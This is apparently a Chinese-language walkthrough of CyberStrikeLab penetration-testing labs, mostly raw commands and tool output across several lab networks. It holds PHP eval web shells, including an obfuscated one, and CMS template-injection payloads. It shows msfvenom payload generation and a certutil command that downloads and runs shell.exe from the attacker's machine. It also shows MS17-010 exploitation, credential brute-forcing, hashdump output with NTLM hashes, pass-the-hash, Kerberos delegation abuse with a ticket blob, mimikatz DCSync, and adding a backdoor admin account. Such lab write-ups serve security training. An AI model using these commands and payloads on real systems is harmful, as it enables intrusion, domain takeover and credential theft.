已完成 10/11 [-] ssh 192.168.10.233:22 root qwe123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 root system ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin admin#123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 10/11 [-] ssh 192.168.10.233:22 admin a123456 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 11/11 [*] 扫描结束,耗时: 4m39.975774s 第二台fscan扫描出来的192.168.10.20:7001 weblogic第二个flag第三台传马上线msf,msf注意修改ip,因为我们是正向连接certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe 上传fscanupload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 发现另外一张网卡C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫�� 3: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::e9e1:6372:ae05:ecf0%17 IPv4 Address. . . . . . . . . . . : 192.168.10.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3d2f:f957:5cf8:220f%16 IPv4 Address. . . . . . . . . . . : 192.168.20.20 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 Tunnel adapter isatap.{1342B97A-CC27-446C-9089-7A3F3210BB09}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{56056A50-6E34-40E7-805D-8B35838D77D9}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : 扫另外一张网卡,发现第三台主机30C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20 fscan.exe -h 192.168.20.20 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive [*] Icmp alive hosts len is: 1 192.168.20.20:7001 open 192.168.20.20:445 open 192.168.20.20:139 open 192.168.20.20:135 open [*] alive ports len is: 4 start vulscan [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-CVE-2019-2725 v12 已完成 4/4 [*] 扫描结束,耗时: 9.7411266s C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain>fscan.exe -h 192.168.20.20/24 fscan.exe -h 192.168.20.20/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.30 is alive [*] Icmp alive hosts len is: 2 192.168.20.30:88 open 192.168.20.20:7001 open 192.168.20.30:445 open 192.168.20.20:445 open 192.168.20.30:139 open 192.168.20.20:139 open 192.168.20.30:135 open 192.168.20.20:135 open 192.168.20.30:80 open [*] alive ports len is: 9 start vulscan [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 [+] NetInfo: [*]192.168.20.30 [->]WIN-9DJ4TH21IE9 [->]192.168.20.30 [+] 192.168.20.30 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.30 [+]DC CYBERSTRIKELAB\WIN-9DJ4TH21IE9 Windows Server 2016 Standard 14393 [*] WebTitle:http://192.168.20.30 code:200 len:703 title:IIS Windows Server [+] http://192.168.20.30 poc-yaml-active-directory-certsrv-detect [*] WebTitle:http://192.168.20.20:7001 code:404 len:1164 title:Error 404--Not Found [+] InfoScan:http://192.168.20.20:7001 [weblogic] [+] http://192.168.20.20:7001 poc-yaml-weblogic-CVE-2020-14750 [+] http://192.168.20.20:7001 poc-yaml-weblogic-CVE-2019-2725 v12 已完成 9/9 [*] 扫描结束,耗时: 17.9561302s 发现ms17-010漏洞,使用命令执行得到最后一个flaggo-flag{kqqjRIRRoiJO5JIm}cyberstrikelab-lab7web渗透9652端口八哥CMSPS C:\Users\xt350> fscan.exe -h 192.168.10.10 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 192.168.10.10:139 open 192.168.10.10:135 open 192.168.10.10:445 open 192.168.10.10:3306 open 192.168.10.10:5040 open 192.168.10.10:7680 open 192.168.10.10:9652 open 192.168.10.10:49664 open 192.168.10.10:49666 open 192.168.10.10:49665 open 192.168.10.10:49669 open 192.168.10.10:49668 open 192.168.10.10:49667 open 192.168.10.10:49670 open [*] alive ports len is: 14 start vulscan [*] WebTitle http://192.168.10.10:9652 code:200 len:14625 title:网站标题-网站标题 - Powered By BageCMS 已完成 14/14 [*] 扫描结束,耗时: 4m16.0065058s http://192.168.10.10:9652/install.txt这个地址泄露了后台管理地址,使用admin / admin123456弱口令登录后台,发现cms版本为 BageCMS3.1.0修改网站首页源码<?php @eval($_POST['a']);?> 生成msf马,执行,监听上线msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 192.168.10.10; set LPORT 4444; exploit -j -z" 内网渗透C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 0: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::8c17:fbcc:901f:c897%6 IPv4 Address. . . . . . . . . . . : 192.168.10.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.10.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::fd48:8021:9701:9c1d%14 IPv4 Address. . . . . . . . . . . : 192.168.20.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.20.1 C:\phpstudy_pro\WWW>fscan.exe -h 192.168.20.10/24 fscan.exe -h 192.168.20.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 192.168.20.10 is alive (icmp) Target 192.168.20.20 is alive (icmp) Target 192.168.20.40 is alive [*] Icmp alive hosts len is: 3 192.168.20.20:445 open 192.168.20.10:445 open 192.168.20.10:7680 open 192.168.20.40:88 open 192.168.20.20:3306 open 192.168.20.10:3306 open 192.168.20.40:445 open 192.168.20.40:139 open 192.168.20.20:139 open 192.168.20.10:139 open 192.168.20.40:135 open 192.168.20.20:135 open 192.168.20.10:135 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]192.168.20.40 [->]WIN-137FCI4D99A [->]192.168.20.40 [+] NetInfo: [*]192.168.20.20 [->]cyberweb [->]192.168.20.20 [+] 192.168.20.40 MS17-010 (Windows Server 2016 Standard 14393) [*] 192.168.20.40 [+]DC CYBERSTRIKELAB\WIN-137FCI4D99A Windows Server 2016 Standard 14393 [*] 192.168.20.20 CYBERSTRIKELAB\CYBERWEB Windows Server 2012 R2 Standard 9600 已完成 13/13 [*] 扫描结束,耗时: 14.733617s 域控主机为20.40,存在永恒之蓝漏洞,使用msf命令执行,获取第二个flaguse admin/SMB/ms17_010_command set command type c:\\flag.txt set rhosts 192.168.20.40 run 配置路由run post/multi/manage/autoroute 使用代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j 本机使用proxifier代理到kali msf的ip地址和端口开启本地资源共享远程连接传入msf正向马msf设置好配置,准备上线利用永恒之蓝执行木马(我们远程登录的是普通用户,不是系统权限,抓取不了hash),需要利用永恒之蓝来执行木马msf auxiliary(admin/smb/ms17_010_command) > set command C:\\Users\\xiaoyu\\Desktop\\shell.exe command => C:\Users\xiaoyu\Desktop\shell.exe msf auxiliary(admin/smb/ms17_010_command) > run [*] 192.168.20.40:445 - Target OS: Windows Server 2016 Standard 14393 [*] 192.168.20.40:445 - Built a write-what-where primitive... [+] 192.168.20.40:445 - Overwrite complete... SYSTEM session obtained! [+] 192.168.20.40:445 - Service start timed out, OK if running a command or non-service executable... [*] 192.168.20.40:445 - Getting the command output... [*] 192.168.20.40:445 - Command finished with no output [*] 192.168.20.40:445 - Executing cleanup... [+] 192.168.20.40:445 - Cleanup was successful [+] 192.168.20.40:445 - Command completed successfully! [*] 192.168.20.40:445 - Output for "C:\Users\xiaoyu\Desktop\shell.exe": [*] 192.168.20.40:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed 因为使用的是正向连接,执行之后再来连接shellmsf auxiliary(admin/smb/ms17_010_command) > use exploit/multi/handler [*] Using configured payload windows/meterpreter/bind_tcp msf exploit(multi/handler) > show options Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LPORT 4444 yes The listen port RHOST 192.168.20.40 no The target address Exploit target: Id Name -- ---- 0 Wildcard Target View the full module info with the info, or info -d command. msf exploit(multi/handler) > run -j [*] Exploit running as background job 5. [*] Exploit completed, but no session was created. [*] Started bind TCP handler against 192.168.20.40:4444 msf exploit(multi/handler) > [*] Sending stage (177734 bytes) to 192.168.20.40 [*] Meterpreter session 4 opened (192.168.20.10:50929 -> 192.168.20.40:4444 via session 3) at 2025-12-11 02:21:05 -0500 msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ DESKTOP-JFB 10.10.10.173:36245 -> 192.168.10.1 57A8 0:4444 (192.168.10.10) 4 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN-137FCI4 192.168.20.10:50929 -> 192.168.20. D99A 40:4444 via session 3 (192.168.20. 40) msf exploit(multi/handler) > sessions 4 [*] Starting interaction with 4... meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 利用msf的hashdump,获取域控主机的管理员hashmeterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:d8174fc8c5ee7a8e460df2e61d00bd3c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f230bc7afd28cc6d52aab59e6e31fd6a::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberweb:1106:aad3b435b51404eeaad3b435b51404ee:214352b7762ea8894f78edcbf5748a05::: xiaoyu:1107:aad3b435b51404eeaad3b435b51404ee:73f5d97549f033374fa6d9f9ce247ffd::: WIN-137FCI4D99A$:1000:aad3b435b51404eeaad3b435b51404ee:44ec20bd68d4e22d3428a97d15f441dd::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:664117f18ce890f00499a80e2fb92904::: PTH 20,拿下最后一台机器proxychains impacket-psexec -hashes :d8174fc8c5ee7a8e460df2e61d00bd3c cyberstrikelab.com/Administrator@192.168.20.20 cyberstrikelab-lab8ZZZCMS目录扫描到后台地址admin弱口令 admin / admin123456发现版本信息 V1.6.1 zzzcms漏洞利用方法https://xz.aliyun.com/news/4103修改内容为{if:assert($_request[phpinfo()])}phpinfo();{end if} 访问你修改的这个页面http://172.50.12.33/search/ 一句话连接不上,那就执行系统命令,找到flag1{if:assert($_request[system($_POST[a])])};{end if} 本机开启http服务生成木马msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 从本机下载木马certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 172.50.12.33; set LPORT 4444; exploit -j -z" 执行木马,上线getsystem提权meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 上传fscanupload /data/windows_atk/scan_info/fscan.exe 却没有发现另外一台主机C:\phpstudy_pro\WWW\search>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::b476:ff8c:347:ef73%5 IPv4 Address. . . . . . . . . . . : 172.50.12.33 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.50.12.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::47e:778d:c27:a958%4 IPv4 Address. . . . . . . . . . . : 10.5.5.2 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.5.5.1 Tunnel adapter Reusable ISATAP Interface {539A3334-B0ED-49F4-B694-5F6E0A7AB805}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{4A835BE8-816A-4266-AF10-0ADC1C46A06E}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.5.5.2 is alive [*] Icmp alive hosts len is: 1 10.5.5.2:3306 open 10.5.5.2:445 open 10.5.5.2:139 open 10.5.5.2:135 open 10.5.5.2:80 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] WebTitle:http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms 已完成 5/5 [*] 扫描结束,耗时: 18.4658195s 使用命令扫C:\phpstudy_pro\WWW\search>for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" Reply from 10.5.5.2: bytes=32 time<1ms TTL=128 Reply from 10.5.5.33: bytes=32 time=1ms TTL=128 Reply from 10.5.5.66: bytes=32 time=1ms TTL=128 主机33和66存活的,再扫,没有任何内容C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-65000 fscan.exe -h 10.5.5.33 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan [*] alive ports len is: 0 start vulscan 已完成 0/0 [*] 扫描结束,耗时: 7.1787098s 设置路由run post/multi/manage/autoroute 使用下面的这些msf模块扫端口都不行scanner/portscan/tcp scanner/portscan/syn 添加一个用户看看什么情况# 创建新用户,并设置密码: net user xiaoyu 123@abc /add # 将新用户添加到管理员组: net localgroup Administrators xiaoyu /add # 关闭Windows防火墙 netsh advfirewall set allprofiles state off # 修改注册表,强制启用远程桌面服务(RDP),允许通过远程桌面(3389端口)连接 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 把360退了,使用远程连接后的cmd扫这样能扫出来,那会不会是系统用户的问题,我提权了,重新反弹shellmsf exploit(multi/handler) > run [*] Started bind TCP handler against 172.50.12.33:4444 [*] Sending stage (177734 bytes) to 172.50.12.33 [*] Meterpreter session 2 opened (10.10.10.173:35111 -> 172.50.12.33:4444) at 2025-12-11 04:32:10 -0500 meterpreter > shell Process 10896 created. Channel 1 created. Microsoft Windows [�汾 10.0.14393] (c) 2016 Microsoft Corporation����������Ȩ���� C:\phpstudy_pro\WWW\search>chcp 65001 chcp 65001 Active code page: 65001 C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 10.5.5.2 is alive (icmp) Target 10.5.5.33 is alive (icmp) Target 10.5.5.66 is alive [*] Icmp alive hosts len is: 3 10.5.5.66:88 open 10.5.5.2:3306 open 10.5.5.66:445 open 10.5.5.33:445 open 10.5.5.2:445 open 10.5.5.66:139 open 10.5.5.33:139 open 10.5.5.2:139 open 10.5.5.33:135 open 10.5.5.2:135 open 10.5.5.2:80 open 10.5.5.66:135 open [*] alive ports len is: 12 start vulscan [*] NetInfo [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetInfo [*]10.5.5.66 [->]DC [->]10.5.5.66 [*] WebTitle http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms [*] OsInfo 10.5.5.66 (Windows Server 2012 R2 Standard 9600) [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 已完成 12/12 [*] 扫描结束,耗时: 8.5703463s 看来就是这个问题,重新设置路由run post/multi/manage/autoroute 设置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j fscan.exe -h 10.5.5.33 -p 1-10000C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-10000 fscan.exe -h 10.5.5.33 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 10.5.5.33:445 open 10.5.5.33:139 open 10.5.5.33:135 open 10.5.5.33:3389 open 10.5.5.33:5985 open [*] alive ports len is: 5 start vulscan [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] WebTitle http://10.5.5.33:5985 code:404 len:315 title:Not Found 已完成 4/5 [-] (58/210) rdp 10.5.5.33:3389 administrator Aa123456 remote error: tls: access denied 已完成 4/5 [-] (118/210) rdp 10.5.5.33:3389 admin abc123456 remote error: tls: access denied 已完成 4/5 [-] (178/210) rdp 10.5.5.33:3389 guest 666666 remote error: tls: access denied 已完成 5/5 [*] 扫描结束,耗时: 3m59.4511788s 扫到3389端口,试试能不能爆破出密码,admin@123456把目录传进去,要把马传进去proxychains rdesktop 10.5.5.33 -r disk:shell=/data/demo 传shellmsf开启监听,上线use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp set RHOST 10.5.5.33 set LPORT 4444 非约束委派相关文章学习连接:https://forum.butian.net/share/1591可能是环境出问题了(排除版本问题,我切换了多个AdFind版本),一直凭据出错,不能正常执行命令,拿到了33的系统权限也是一样,添加管理员账户执行AdFind照样错误,下面图来自网上这里的图来自 https://www.hyhforever.top/posts/2025/07/cyberstrikelab-lab8/# ADFind查询非约束委派账户 AdFind.exe -b "DC=cyberstrikelab,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn # 使用Rubeus监听来自域控的票据 Rubeus.exe monitor /interval:2 /filteruser:DC$ 利用打印机漏洞(SpoolSample)或类似攻击让域控主动连接非约束委派机器,从而生成并发送Kerberos票据给攻击者控制机器。# 强制回连,获得域控机器账户的TGT shell SpoolSample.exe DC CYBERWEB # rubeus导入票据 Rubeus.exe ptt /ticket:doIFtDCCBbCgAwIBBaEDAgEWooIErDCCBKhhggSkMIIEoKADAgEFoRQbEkNZQkVSU1RSSUtFTEFCLkNPTaInMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09No4IEWDCCBFSgAwIBEqEDAgECooIERgSCBELeAgo8gfc1sOmVFHxh23jlld/MeJN/NEYNWOVmXG7H6J6jeQH/ux0qR9NhB8XEHpISi/k+m+d3MgVV9I97HPHPGpxMwwPwn283E5+JQBdhYK/Vq7eQhQScpw0+uojOX8Clvw/YjIv8V1G1Kqxyj+EbWm07KVjefQHMeuclOII27ZclrWuVxNQ1GI2GV+nLVrRMgGlKmh9FTnLKacg3lGZutWuUS1pU3OWc7Q0wClL6MeczUq378IMB3G4Vv3cAR8mY/niULKswPfzVbe6oeuvAIOpHHV6qoB631NiF48twHG78uZ+ExiVIU9p1juR7IL053H0LOSRTV/behPNz8c/mhcxCWDfXVEAn1gbibwUvrBSCiNP6hp234Qa4pbEB8PTlxXc0QYxQVF8VC+btIxx93APc+/W6wBzxPr65IIqlhlbV1NdUCIF2SGqliyHUdOIRF9llx52RaTsYhzX4D5Hsqoh8YLIs52q7o9gy6yyJi69qADD4jpmvC6exzl0l40qd+csY8vfb2Ojm5fwgNn1oDLWRxjPriEGQNSFIxBuDF4BD3lzWcQFbTsuBYl0a7NBXeFHFWwnDRoQrdO6UHSDcpJt0WRvo+8S+sr14PvTITr6BWeKafeBy/Ve+iovAFCZo7DbAUISpPxYdpIjUzIpfm7ZMLT015MGNYB16PhNvUL3tfavikHed87lgfvTs429bSOcYP1U1YnT8/z2TrIMuuKpvjyNq9cZmZeLsS9SnNCwiFartRSephd587X5ERqsg0ai/i87lWJCBCQ15a9LapH5vxYvnkHljhvT3/5Vo9RYfGiJbdEtxG1vR17LsGCV05ROpf8L0Fa0CdWXB84MSzXjoIySIRV9zAvvcsTfu+r6oTT7QL9ciG8FvaHY2Gtf32FlFOfVLdoy1B63d0nYoKoZmm09ImIFFjKV0871uhQ3po3nu1vVvJkiRHM7hVwhK9h9aHTtYahuig1z6oxqYVMsubnYlrUKIPKe6O/qTBSaJoH03cXnWYUxrObv5A5ekiIG6zuHsqmGaDXWZV/5SfB4DaztwJZHzvYwuCYsSR6IV2vWW4st9ONoWkzg08XXjvVoEqfqlpTs2WjxAPaK1kY8oIp7SHJ7DVovFnkf7puFHGbJ/wBCpdR61Pl1qj/ntuv1OVdRRb71DfTZHjmV4rXISZ3cjwAJTgKqlIUzzrkiTsmTrtk92z3eIfm9EE4NqkOJWmxd9sXhC58W4CVFnZXZ7A4BqiBctRX/ZMXLcz++55SqSLTg8Xbm01EXTVnQHU6XTdOPs+4ZRrXEo+r8I+hT0aQegwcDCCt1WseFh92ut06Y1zfyNcxcffBZPB3UA0Te49BxN493RdwbUw4RIObPUoucAW4r7i0p6Nk0MxXt+nnYHuKesYu+GhOStENyVjmbIcSLqd4cJNrBAX3cNZmCtSFGSuKahub4Lb7k0WoRZo4HzMIHwoAMCAQCigegEgeV9geIwgd+ggdwwgdkwgdagKzApoAMCARKhIgQgo+1mN3aSVBbGT0Sp9kwHxXFCpO+xUDGciGtbd189KomhFBsSQ1lCRVJTVFJJS0VMQUIuQ09NohAwDqADAgEBoQcwBRsDREMkowcDBQBgoQAApREYDzIwMjUwNTI1MDUwNDQwWqYRGA8yMDI1MDUyNTE1MDQ0MFqnERgPMjAyNTA2MDEwNTA0NDBaqBQbEkNZQkVSU1RSSUtFTEFCLkNPTaknMCWgAwIBAqEeMBwbBmtyYnRndBsSQ1lCRVJTVFJJS0VMQUIuQ09N # mimikatz导出域内用户Hash mimikatz.exe "lsadump::dcsync /domain:cyberstrikelab.com /user:cyberstrikelab\Administrator" "exit" # PTH proxychains impacket-psexec -hashes :9d880175be3fc0e75ebb9686f482cfa5 cyberstrike.com/administrator@10.5.5.66 相关解释AdFind.exe这是一款免费的命令行工具,用于在AD域中执行查询域内信息,AD对象,LDAP协议交互情况,域内权限分析,以及域环境侦察,例如# 查询域中所有用户 AdFind.exe -f "(objectcategory=person)" dn # 查询不要求Kerberos预身份认证的用户(用于安全审计) AdFind.exe -b "dc=example,dc=com" -f "(&(samaccounttype=805306369)(useraccountcontrol:1.2.840.113556.1.4.803:=4194304))" # 获取域控制器信息 AdFind.exe -d domain.com -u username -p password -b "dc=domain,dc=com" -s base objectClass 详细的使用可以参考官方手册,百度一下,你就知道cyberstrikelab-lab9第一台web 172.5.33.6sql的payloadhttp://172.5.33.6/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5 a66abb5684c45962d887564f08346e8d 解密 admin123456从robots.txt中发现admin地址,登录管理员账号在这里发现了html模板中包含了php代码在模板管理中修改index.html<?php @eval($_POST['a']);?> 一句话还是连不上的,尝试另一种马,好像也没有其他方法能打进去了,网上找了十多种写法的马,就这种有效<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 蚁剑连接生马msfvenom -p windows/x64/meterpreter/bind_tcp RHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 上线msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/bind_tcp; set RHOST 172.5.33.6; set LPORT 4444; exploit -j -z" 提权,上传fscanmeterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 查ip,扫内网C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3f:d815:5529:b836%11 IPv4 Address. . . . . . . . . . . : 172.5.33.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.5.33.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::c133:dd94:56a9:bdcc%2 IPv4 Address. . . . . . . . . . . : 10.6.6.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.6.6.1 Tunnel adapter isatap.{730545FA-7DC0-4716-8AF2-678FFC6D1F1C}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{E6E2FD25-6949-4C86-A749-7F0F14616295}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.10/24 fscan.exe -h 10.6.6.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.10 is alive (icmp) Target 10.6.6.55 is alive (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 3 10.6.6.55:88 open 10.6.6.10:3306 open 10.6.6.88:445 open 10.6.6.55:445 open 10.6.6.10:445 open 10.6.6.88:139 open 10.6.6.55:139 open 10.6.6.10:139 open 10.6.6.88:135 open 10.6.6.55:135 open 10.6.6.10:135 open 10.6.6.55:80 open 10.6.6.10:80 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]10.6.6.10 [->]WIN-784BAKDI0AC [->]172.5.33.6 [->]10.6.6.10 [+] NetInfo: [*]10.6.6.55 [->]DC [->]10.6.6.55 [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] WebTitle:http://10.6.6.10 code:200 len:0 title:None [*] 10.6.6.55 [+]DC __MSBROWSE__\DC Windows Server 2016 Standard 14393 [*] 10.6.6.88 CYBERSTRIKELAB\CYBERWEB Windows Server 2016 Standard 14393 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] 10.6.6.55 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.55 code:200 len:703 title:IIS Windows Server [+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 已完成 13/13 [*] 扫描结束,耗时: 1m8.3819491s 